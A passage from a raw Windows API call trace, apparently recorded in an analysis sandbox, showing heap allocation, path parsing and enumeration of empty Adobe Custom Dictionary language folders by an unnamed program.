returned 0x32a0108 [0115.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x32a0108 [0115.675] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\") returned="all\\" [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x32367d0 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.675] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0115.675] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320288 [0115.675] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32367d0 | out: hHeap=0x660000) returned 1 [0115.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321690 [0115.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320288 | out: hHeap=0x660000) returned 1 [0115.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.676] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0115.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321690 | out: hHeap=0x660000) returned 1 [0115.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.676] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.676] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.676] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.676] PathFindFileNameW (pszPath="") returned="" [0115.676] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.677] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.677] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.677] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.677] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.677] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.677] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\") returned="brt\\" [0115.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.677] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.678] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.678] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.678] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.678] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.678] PathFindFileNameW (pszPath="") returned="" [0115.678] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.679] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.679] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.679] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.679] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.679] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\") returned="brz\\" [0115.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.679] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.680] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.680] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.680] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.680] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.680] PathFindFileNameW (pszPath="") returned="" [0115.680] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.681] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.681] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.681] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.681] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.681] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.681] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.681] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.681] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\") returned="dan\\" [0115.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.681] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.681] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.681] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.681] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.681] PathFindFileNameW (pszPath="") returned="" [0115.681] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.682] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.682] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.682] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.682] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.682] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.682] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.682] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.682] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\") returned="dut\\" [0115.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0115.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0115.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0115.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0115.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.682] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.683] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.683] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.683] PathFindFileNameW (pszPath="") returned="" [0115.683] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.683] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0108 | out: hHeap=0x660000) returned 1 [0115.683] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, 